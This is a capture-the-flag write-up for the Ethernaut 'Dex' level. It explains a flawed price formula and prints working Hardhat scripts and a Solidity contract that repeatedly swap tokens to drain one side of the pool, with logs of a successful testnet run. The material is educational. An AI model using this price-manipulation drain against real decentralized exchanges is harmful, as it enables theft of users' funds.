Ethernaut #22 Dex
Dex
Challenge
The goal of this level is for you to hack the basic DEX contract below and steal the funds by price manipulation.
You will start with 10 tokens of token1
and 10 of token2
. The DEX contract starts with 100 of each token.
You will be successful in this level if you manage to drain all of at least 1 of the 2 tokens from the contract, and allow the contract to report a “bad” price of the assets.
Quick note
Normally, when you make a swap with an ERC20 token, you have to approve
the contract to spend your tokens for you. To keep with the syntax of the game, we’ve just added the approve
method to the contract itself. So feel free to use contract.approve(contract.address, <uint amount>)
instead of calling the tokens directly, and it will automatically approve spending the two tokens by the desired amount. Feel free to ignore the SwappableToken
contract otherwise.
Things that might help:
- How is the price of the token calculated?
- How does the
swap
method work? - How do you
approve
a transaction of an ERC20?
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
contract Dex is Ownable {
using SafeMath for uint;
address public token1;
address public token2;
constructor() public {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function addLiquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapPrice(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}
contract SwappableToken is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public returns(bool){
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
Background
This challange has what we would call a logic bug in binary exploitation. The bug is not really in exploiting some bad code but instead the logic allows the attacker to manipulate the outcome of the contract.
This is the first time I look at DEX
code so I might be way off on this, but it seems that the price calculation is a bit flawed here. The price is supposed to be adjusted depending on the available liquidity in the DEX
. However, if more than one token is bought at a given liquidity ratio, the same rate is applied for all of the tokens.
It seems to me that under normal circumstances the price needs to be re-adjusted for each token being bought and not for all of them collectivly at once. For example when the ratio Token1/Token2
is 10 to 1 that means that each token1
is now priced at 0.1
token2
. If 10 are bought at once, the price will be 0.1
token2
for each, or 1
token2 for all, however, it should be 0.1
for the first token, then the ratio will become 9 to 1, so the second token should cost 0.11
, then the ratio would become 8 to 1 so the next should cost 0.125
and so on, and so forth. This would result in a cost close to 3
.
I’m not sure this would completely solve the problem due to the rounding issues that will emerge, but it certainly would not allow such huge swings.
Attack
In order to drain the one of the two tokens, one needs to buy as many of the one token and then the other over and over until the token is drained. There are two ways of doing this. This can be achieved both using a smart contract or offchain transactions.
Multiple Transactions
- Repeat until one of two tokens is drained:
- Buy as much of
token2
usingtoken1
as possible - Buy as much of
token1
usingtoken2
as possible
- Buy as much of
Smart Contract
- Create a contract that can repeat until one of two tokens is drained:
- Buy as much of
token2
usingtoken1
as possible - Buy as much of
token1
usingtoken2
as possible
- Buy as much of
- Transfer all
token1
andtoken2
tokens to this contract - Run the contract function
During the development of the attack, I used offchain transactions as it was easier to play with, however, after the attack was developed, I wrote a smart contract that could do the entire thing in a single transaction in order to save on gas.
We should keep in mind that even though it requires less transactions in order to drain the walle, it needs an extra two transactions to transfer the the tokens to the contract. Wether or not it is worth it will depend on the amount of transactions required to drain one of the two tokens on the DEX
.
Also, it a realistic senario it will very likely be worth optimizing the code. I did not bother much here and instead tried to keep it somewhat readable.
dex-solve.js
const hre = require("hardhat");
const { ethers, upgrades } = require("hardhat");
async function getDexState(dex) {
token1Balance = await token1.balanceOf(dex.address)
token2Balance = await token2.balanceOf(dex.address)
console.log("======== DEX ========")
console.log("Token1 balance: " + token1Balance)
console.log("Token2 balance: " + token2Balance)
console.log("Token1->Token2: " + (token1Balance.eq(0) ? "N/A" : await dex.getSwapPrice(token1.address, token2.address, 1000) / 1000))
console.log("Token2->Token1: " + (token2Balance.eq(0) ? "N/A" : await dex.getSwapPrice(token2.address, token1.address, 1000) / 1000))
}
async function getAccountAssets(account) {
console.log("======== Account ========")
console.log("Token1 balance: " + await token1.balanceOf(account.address))
console.log("Token2 balance: " + await token2.balanceOf(account.address))
}
async function getState(account, dex) {
// print state
await getAccountAssets(account)
await getDexState(dex)
// console.log("********************************")
console.log("")
}
async function approveFull(token, account) {
// approve full token1 balance
tokenBalance = await token.balanceOf(account.address)
tx = await token.connect(account)['approve(address,uint256)'](contract.address, tokenBalance)
receipt = await tx.wait()
}
async function swap(from, to, amount) {
// swap tokens
console.log(`Swapping ${amount} ${await from.name()} to ${await to.name()}`)
console.log("")
tx = await contract.connect(account).swap(from.address, to.address, amount)
receipt = await tx.wait()
}
async function maxAmount(account, dex, from, to) {
// calculate max amount
amount = await from.balanceOf(account.address)
dexToAmount = await to.balanceOf(dex.address)
buyPotential = await dex.getSwapPrice(from.address, to.address, amount)
if (buyPotential.gt(dexToAmount)) {
amount = await dex.getSwapPrice(to.address, from.address, dexToAmount)
}
return amount
}
async function main() {
dexAddress = "0x226D9Ec0E899905bcd5c7914B0D21BB24a9CeEb6";
contract = await ethers.getContractAt("Dex", dexAddress);
token1Address = await contract.token1()
token1 = await ethers.getContractAt("SwappableToken", token1Address);
token2Address = await contract.token2()
token2 = await ethers.getContractAt("SwappableToken", token2Address);
const accounts = await hre.ethers.getSigners();
account = accounts[0];
console.log("Level address : " + contract.address)
console.log("")
await getState(account, contract)
from = token1
to = token2
while ((await token1.balanceOf(contract.address)) != 0 && (await token2.balanceOf(contract.address)) != 0) {
// swap all token1 to token2
await approveFull(from, account)
amount = await maxAmount(account, contract, from, to)
await swap(from, to, amount)
await getState(account, contract);
[from, to] = [to, from]
}
}
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
$ npx hardhat run scripts/dex-solve.js --network rinkeby
Level address : 0x226D9Ec0E899905bcd5c7914B0D21BB24a9CeEb6
======== Account ========
Token1 balance: 10
Token2 balance: 10
======== DEX ========
Token1 balance: 100
Token2 balance: 100
Token1->Token2: 1
Token2->Token1: 1
Swapping 10 Token 1 to Token 2
======== Account ========
Token1 balance: 0
Token2 balance: 20
======== DEX ========
Token1 balance: 110
Token2 balance: 90
Token1->Token2: 0.818
Token2->Token1: 1.222
Swapping 20 Token 2 to Token 1
======== Account ========
Token1 balance: 24
Token2 balance: 0
======== DEX ========
Token1 balance: 86
Token2 balance: 110
Token1->Token2: 1.279
Token2->Token1: 0.781
Swapping 24 Token 1 to Token 2
======== Account ========
Token1 balance: 0
Token2 balance: 30
======== DEX ========
Token1 balance: 110
Token2 balance: 80
Token1->Token2: 0.727
Token2->Token1: 1.375
Swapping 30 Token 2 to Token 1
======== Account ========
Token1 balance: 41
Token2 balance: 0
======== DEX ========
Token1 balance: 69
Token2 balance: 110
Token1->Token2: 1.594
Token2->Token1: 0.627
Swapping 41 Token 1 to Token 2
======== Account ========
Token1 balance: 0
Token2 balance: 65
======== DEX ========
Token1 balance: 110
Token2 balance: 45
Token1->Token2: 0.409
Token2->Token1: 2.444
Swapping 45 Token 2 to Token 1
======== Account ========
Token1 balance: 110
Token2 balance: 20
======== DEX ========
Token1 balance: 0
Token2 balance: 90
Token1->Token2: N/A
Token2->Token1: 0
DexSolve.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.4;
import '../challenges/Dex.sol';
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract DexSolve {
constructor() public {}
function drain (address payable _dex) public payable {
Dex dex = Dex(_dex);
IERC20 token1 = IERC20(dex.token1()); // redundant but left for clarity
IERC20 token2 = IERC20(dex.token2()); // redundant but left for clarity
uint256 amount;
IERC20 from = token1;
IERC20 to = token2;
IERC20 temp;
while (token1.balanceOf(address(dex)) != 0 && token2.balanceOf(address(dex)) != 0) {
uint256 fromBalance = from.balanceOf(address(this));
from.approve(address(dex), fromBalance);
amount = fromBalance;
uint256 dexToAmount = to.balanceOf(address(dex));
uint256 buyPotential = dex.getSwapPrice(address(from), address(to), amount);
if (buyPotential > dexToAmount) {
amount = dex.getSwapPrice(address(to), address(from), dexToAmount);
}
dex.swap(address(from), address(to), amount);
temp = from;
from = to;
to = temp;
}
}
}
dex-solve2.js
const hre = require("hardhat");
const { ethers, upgrades } = require("hardhat");
async function getDexState(dex) {
token1Balance = await token1.balanceOf(dex.address)
token2Balance = await token2.balanceOf(dex.address)
console.log("======== DEX ========")
console.log("Token1 balance: " + token1Balance)
console.log("Token2 balance: " + token2Balance)
console.log("Token1->Token2: " + (token1Balance.eq(0) ? "N/A" : await dex.getSwapPrice(token1.address, token2.address, 1000) / 1000))
console.log("Token2->Token1: " + (token2Balance.eq(0) ? "N/A" : await dex.getSwapPrice(token2.address, token1.address, 1000) / 1000))
}
async function getAccountAssets(account) {
console.log("======== Account ========")
console.log("Token1 balance: " + await token1.balanceOf(account.address))
console.log("Token2 balance: " + await token2.balanceOf(account.address))
}
async function getState(account, dex) {
// print state
await getAccountAssets(account)
await getDexState(dex)
console.log("")
}
async function main() {
dexAddress = "0x226D9Ec0E899905bcd5c7914B0D21BB24a9CeEb6";
contract = await ethers.getContractAt("Dex", dexAddress);
token1Address = await contract.token1()
token1 = await ethers.getContractAt("SwappableToken", token1Address);
token2Address = await contract.token2()
token2 = await ethers.getContractAt("SwappableToken", token2Address);
const accounts = await hre.ethers.getSigners();
account = accounts[0];
DexSolve = await ethers.getContractFactory("DexSolve");
dexSolve = await DexSolve.deploy();
await dexSolve.deployed();
tx = await token1.connect(account).transfer(dexSolve.address, await token1.balanceOf(account.address))
receipt = await tx.wait()
tx = await token2.connect(account).transfer(dexSolve.address, await token2.balanceOf(account.address))
receipt = await tx.wait()
console.log("Level address : " + contract.address)
console.log("")
await getState(dexSolve, contract)
tx = await dexSolve.drain(contract.address)
receipt = await tx.wait()
await getState(dexSolve, contract)
}
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
$ npx hardhat run scripts/dex-solve2.js --network rinkeby
Level address : 0x226D9Ec0E899905bcd5c7914B0D21BB24a9CeEb6
======== Account ========
Token1 balance: 10
Token2 balance: 10
======== DEX ========
Token1 balance: 100
Token2 balance: 100
Token1->Token2: 1
Token2->Token1: 1
======== Account ========
Token1 balance: 110
Token2 balance: 20
======== DEX ========
Token1 balance: 0
Token2 balance: 90
Token1->Token2: N/A
Token2->Token1: 0
Success Message
As we’ve repeatedly seen, interaction between contracts can be a source of unexpected behavior.
Just because a contract claims to implement the ERC20 spec does not mean it’s trust worthy.
Some tokens deviate from the ERC20 spec by not returning a boolean value from their transfer
methods. See Missing return value bug - At least 130 tokens affected.
Other ERC20 tokens, especially those designed by adversaries could behave more maliciously.
If you design a DEX where anyone could list their own tokens without the permission of a central authority, then the correctness of the DEX could depend on the interaction of the DEX contract and the token contracts being traded.